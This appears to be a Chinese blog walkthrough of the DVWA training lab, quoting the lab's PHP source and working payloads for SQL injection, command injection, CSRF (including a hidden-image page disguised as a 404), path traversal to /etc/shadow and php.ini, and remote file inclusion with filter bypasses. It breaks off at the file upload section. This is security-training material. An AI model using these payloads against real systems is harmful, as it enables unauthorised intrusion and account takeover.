DVWA練習

前言

一個小型靶場。

Brute Force

DVWA Security:low

這題的名字是爆破,那我們就爆破一下試試

先隨便提交一個密碼和用戶名,打開代理,bp抓包

uwBjbR.png

然後,發送到Intruder模塊,進行如下設置

uwDEqA.png

然後載入字典

uwDQxg.png

uwDBM4.png

然後start attack,在結果中找到長度特殊的就是正確的用戶名和密碼

uwD5sH.png

源碼

<?php
if( isset( $_GET[ 'Login' ] ) ) {
	// Get username
	$user = $_GET[ 'username' ];
	// Get password
	$pass = $_GET[ 'password' ];
	$pass = md5( $pass );
	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];
		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}
	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

可以看出來沒有對username和password進行任何過濾,這裏存在SQL注入漏洞。

username=admin' or '1'='1或者username=admin'#,即可成功登入

uwLjpT.png

DVWA Security:medium

源碼

<?php
if( isset( $_GET[ 'Login' ] ) ) {
	// Sanitise username input
	$user = $_GET[ 'username' ];
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	// Sanitise password input
	$pass = $_GET[ 'password' ];
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );
	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];
		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		sleep( 2 );
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}
	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

查看源碼即可發現,這段代碼裏面添加了一個mysqli_real_escape_string()函數,這個函數主要對一些特殊字符作出了過濾,具體查看mysql_real_escape_string()

本函數將 unescaped_string 中的特殊字符轉義,並計及連接的當前字符集,因此可以安全用於 mysql_query()。

mysql_real_escape_string() 調用mysql庫的函數 mysql_real_escape_string, 在以下字符前添加反斜槓: \x00, \n, \r, , ', " 和 \x1a.

這個函數能抵擋大部分的SQL注入,但是也有缺陷,可以看看。

雖然無法SQL注入,但還是可以進行爆破,只是有個sleep()函數延時,步驟就像low一樣,即可登入。

DVWA Security:high

<?php
if( isset( $_GET[ 'Login' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
	// Sanitise username input
	$user = $_GET[ 'username' ];
	$user = stripslashes( $user );
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	// Sanitise password input
	$pass = $_GET[ 'password' ];
	$pass = stripslashes( $pass );
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );
	// Check database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		sleep( rand( 0, 3 ) );
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}
	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

high 的代碼中又添加了一個函數 stripslashes(),來去除字符串中的反斜線字符,如果有兩個連續的反斜線,則只去掉一個.

還有mysqli_real_escape_string()函數過濾一些特殊字符,防止SQL注入。

此外,這代碼中還添加了token,每次服務器返回的登陸頁面中都會包含一個隨機的user_token的值,用戶每次登錄時都要將user_token一起提交。服務器收到請求後,會優先做token的檢查,再進行sql查詢。

impossible級別的代碼中,加入了可靠的防爆破機制,當檢測到頻繁的錯誤登錄後,系統會將賬戶鎖定,爆破也就無法繼續。

參考文章

Command Injection

即命令注入,是指通過提交惡意構造的參數破壞命令語句結構,從而達到執行惡意命令的目的。

DVWA Security:low

源碼

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
	// Windows
	$cmd = shell_exec( 'ping  ' . $target );
}
else {
	// *nix
	$cmd = shell_exec( 'ping  -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>

這段代碼中,主要是兩個函數

stristr(string,search,before_search)

stristr函數搜索字符串在另一字符串中的第一次出現,返回字符串的剩餘部分(從匹配點),如果未找到所搜索的字符串,則返回 FALSE。參數string規定被搜索的字符串,參數search規定要搜索的字符串(如果該參數是數字,則搜索匹配該數字對應的 ASCII 值的字符),可選參數before_true爲布爾型,默認爲“false” ,如果設置爲 “true”,函數將返回 search 參數第一次出現之前的字符串部分。

php_uname(mode)

這個函數會返回運行php的操作系統的相關描述,參數mode可取值”a” (此爲默認,包含序列”s n r v m”裏的所有模式),”s ”(返回操作系統名稱),”n”(返回主機名),” r”(返回版本名稱),”v”(返回版本信息), ”m”(返回機器類型)。

漏洞利用

window和linux系統都可以用&&來執行多條命令

payload:127.0.0.1&&dir

uD1XG9.png

DVWA Security:medium

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];
	// Set blacklist
	$substitutions = array(
		'&&' => '',
		';'  => '',
	);
	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}
	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}
?>

medium級別的代碼中,用一個數組替換了**&&;,但是並沒有過濾掉&**,也可以這樣寫127.0.0.1&;&dir,再或者使用127.0.0.1|dir

payload:127.0.0.1&dir或者127.0.0.1&;&dir

uDtdPS.png

“&&”和“&”的區別:

ping 127.0.0.1&&dir

先執行ping 127.0.0.1,執行成功,再執行dir,否則不執行dir

ping 127.0.0.1&dir

無論ping 127.0.0.1是否執行成功,都會執行dir

DVWA Security:high

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = trim($_REQUEST[ 'ip' ]);
	// Set blacklist
	$substitutions = array(
		'&'  => '',
		';'  => '',
		'| ' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
		'||' => '',
	);
	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}
	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}
?>

high級別的代碼中添加了更嚴格的過濾,過濾了&、;、| 、-、$、(、)、`、||。

過濾了"| "(後面多個空格),只要沒有空格就可以繞過,就不會被濾掉,

payload:127.0.0.1|dir

uD0HZd.png

DVWA Security:impossible

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
	// Get input
	$target = $_REQUEST[ 'ip' ];
	$target = stripslashes( $target );
	// Split the IP into 4 octects
	$octet = explode( ".", $target );
	// Check IF each octet is an integer
	if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
		// If all 4 octets are int's put the IP back together.
		$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
		// Determine OS and execute the ping command.
		if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
			// Windows
			$cmd = shell_exec( 'ping  ' . $target );
		}
		else {
			// *nix
			$cmd = shell_exec( 'ping  -c 4 ' . $target );
		}
		// Feedback for the end user
		$html .= "<pre>{$cmd}</pre>";
	}
	else {
		// Ops. Let the user name theres a mistake
		$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
	}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

stripslashes(string)

stripslashes函數會刪除字符串string中的反斜槓,返回已剝離反斜槓的字符串。

explode(separator,string,limit)

把字符串打散爲數組,返回字符串的數組。參數separator規定在哪裏分割字符串,參數string是要分割的字符串,可選參數limit規定所返回的數組元素的數目。

is_numeric(string)

檢測string是否爲數字或數字字符串,如果是返回TRUE,否則返回FALSE。

可以看到,Impossible級別的代碼加入了Anti-CSRF token,同時對參數ip進行了嚴格的限制,只有諸如“數字.數字.數字.數字”的輸入纔會被接收執行,因此不存在命令注入漏洞。

如何測試命令注入

總結
命令注入漏洞是特別危險的,因爲它們允許未經授權的執行操作系統命令, 它們的存在,因爲應用程序無法正確地驗證和消毒,使用時調用shell的功能,如的參數。 攻擊者與控制這些參數可以欺騙應用程序執行任何系統命令自己的選擇。
例如,UNIX應用程序列出了使用的文件夾的內容。 它需要的字符串FOLDER_NAME,從用戶,沒有任何驗證,連接到“ls”的建立實際的命令。 應用程序,然後通過命令(“LS FOLDER_NAME “)的系統()函數,並獲取結果。 一個命令注入漏洞,允許攻擊者注入額外的命 令在輸入字符串FOLDER_NAME的, 其結果是被欺騙應用程序執行攻擊者的額外的命 令。
爲了正確測試命令注入漏洞,應遵循以下步驟:
 第1步: 瞭解攻擊場景
 第2步: 分析原因及對策
 第3步: 開始試驗和探索
 第4步: 微調測試案例

參考文章1

參考文章

CSRF(Cross-site request forgery)

CSRF,全稱Cross-site request forgery,翻譯過來就是跨站請求僞造,是指利用受害者尚未失效的身份認證信息(cookie、會話等),誘騙其點擊惡意鏈接或者訪問包含攻擊代碼的頁面,在受害人不知情的情況下以受害者的身份向(身份認證信息所對應的)服務器發送請求,從而完成非法操作(如轉賬、改密等)。

DVWA security:low

<?php
if( isset( $_GET[ 'Change' ] ) ) {
	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];
	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );
		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}
	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

嘗試更改密碼

urieIK.png

鏈接變成了http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

那麼我們可以構造一個CSRF攻擊的鏈接,用同一個瀏覽器點擊這個鏈接http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

就會改掉密碼,變成password

需要注意的是,CSRF最關鍵的是利用受害者的cookie向服務器發送僞造請求,所以如果受害者之前用Firefox登錄的這個系統,而用Chrome點擊這個鏈接,攻擊是不會觸發的,因爲Chrome並不能利用Firefox的cookie,所以會自動跳轉到登錄界面。

urFiY8.png

構造攻擊頁面

現實攻擊場景下,這種方法需要事先在公網上傳一個攻擊頁面,誘騙受害者去訪問,真正能夠在受害者不知情的情況下完成CSRF攻擊。在本地寫一個test.html,下面是具體代碼。

<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>

訪問test.html時,會誤認爲是自己點擊的是一個失效的url,但實際上已經遭受了CSRF攻擊,密碼已經被修改爲了password

也可以利用bp抓包之後,利用自帶的工具CSRF PoC

uffNOf.png

得到一個腳本文件,複製之後,新建一個.html文件,

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/WWW/DVWA/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="123" />
      <input type="hidden" name="password&#95;conf" value="123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

使用同一個瀏覽器打開,

ufTvAf.png

點擊submit

uf7AH0.png

成功更改密碼。

DVWA security:medium

<?php
if( isset( $_GET[ 'Change' ] ) ) {
	// Checks to see where the request came from
	if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
		// Get input
		$pass_new  = $_GET[ 'password_new' ];
		$pass_conf = $_GET[ 'password_conf' ];
		// Do the passwords match?
		if( $pass_new == $pass_conf ) {
			// They do!
			$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
			$pass_new = md5( $pass_new );
			// Update the database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
			// Feedback for the user
			$html .= "<pre>Password Changed.</pre>";
		}
		else {
			// Issue with passwords matching
			$html .= "<pre>Passwords did not match.</pre>";
		}
	}
	else {
		// Didn't come from a trusted source
		$html .= "<pre>That request didn't look correct.</pre>";
	}
	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

eregi(string pattern, string string)

檢查string中是否含有pattern(不區分大小寫),如果有返回True,反之False。這個函數可使用url二次編碼繞過。

使用eregi()函數檢查HTTP_REFERER(http包頭的Referer參數的值,表示來源地址)中是否包含SERVER_NAME(http包頭的Host參數,及要訪問的主機名,這裏是127.0.0.1),所以referer中必須含有主機地址纔行

使用bp抓包後,

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Otz4Wdps-1570539890622)(https://s2.ax1x.com/2019/10/08/uf7L24.png)]

可以像上面一樣,得到一個腳本文件

ufHIQH.png

保存成.html文件,訪問之後,即可更改密碼

ufHgdx.png

DVWA security:high

<?php
if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];
	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );
		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}
	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

high級別的代碼中添加了對token的驗證,用戶每次訪問改密頁面時,服務器會返回一個隨機的token,向服務器發起請求時,需要提交token參數,而服務器在收到請求時,會優先檢查token,只有token正確,纔會處理客戶端的請求。

參考文章https://www.freebuf.com/articles/web/118352.html

參考文章https://www.cnblogs.com/xiaoqiyue/p/10144351.html

File Inclusion

File Inclusion,意思是文件包含(漏洞),是指當服務器開啓allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。文件包含漏洞分爲本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因爲開啓了php配置中的allow_url_fopen選項(選項開啓之後,服務器允許包含一個遠程的文件)。

low

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

代碼很少,就一行,沒有對參數進行任何的處理,點擊下面的三個鏈接,可以看到url中的變化

uhnmmd.png

嘗試讀取shadow文件http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=/etc/shadow

uhnJXQ.png

可以看到報錯信息,可見不是Linux系統,而是Windows系統,同時也可以看到一個絕對路徑F:\phpstudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php

嘗試讀取文件http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=F:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

上面使用的是絕對路徑,也可以使用相對路徑,http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=..\..\php.ini

uhuXqJ.png

能夠讀取到php.ini配置文件,

遠程文件包含

當服務器的php配置中,選項allow_url_fopen與allow_url_include爲開啓狀態On時,服務器會允許包含遠程服務器上的文件,如果對文件來源沒有檢查的話,就容易導致任意遠程代碼執行。

假如,一個地址爲x.x.x.x的服務器上包含一個phpinfo.txt文件,內容

<?php
phpinfo();
?>

那麼就可以通過訪問http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=http://x.x.x.x/phpinfo.txt,來執行phpinfo()函數

medium

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

medium的代碼中對一些字符進行了過濾,“http://”,“https://”

,"…/", “…\”,

這裏過濾了…\,http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=..\..\php.ini應該是無法讀取文件的,但是這裏依然可以讀取,有點懵

uh8RfA.png

這裏使用絕對路徑是完全沒問題的

uhGitJ.png

這裏過濾了http://https://,但是str_replace有很大的安全問題,可以使用大小寫或者雙寫繞過這個檢測,所以,遠程文件包含,http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=htthttp://p://x.x.x.x/phpinfo.txt或者http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=HTtp://x.x.x.x/phpinfo.txt來實現遠程文件包含。

high

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}
?>

High級別的代碼使用了fnmatch函數檢查page參數,要求page參數的開頭必須是file,服務器纔會去包含相應的文件。fnmatch

看似安全,但是可以利用file協議來讀取文件

http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=file://F:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

uhN4Z6.png

file upload

low

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章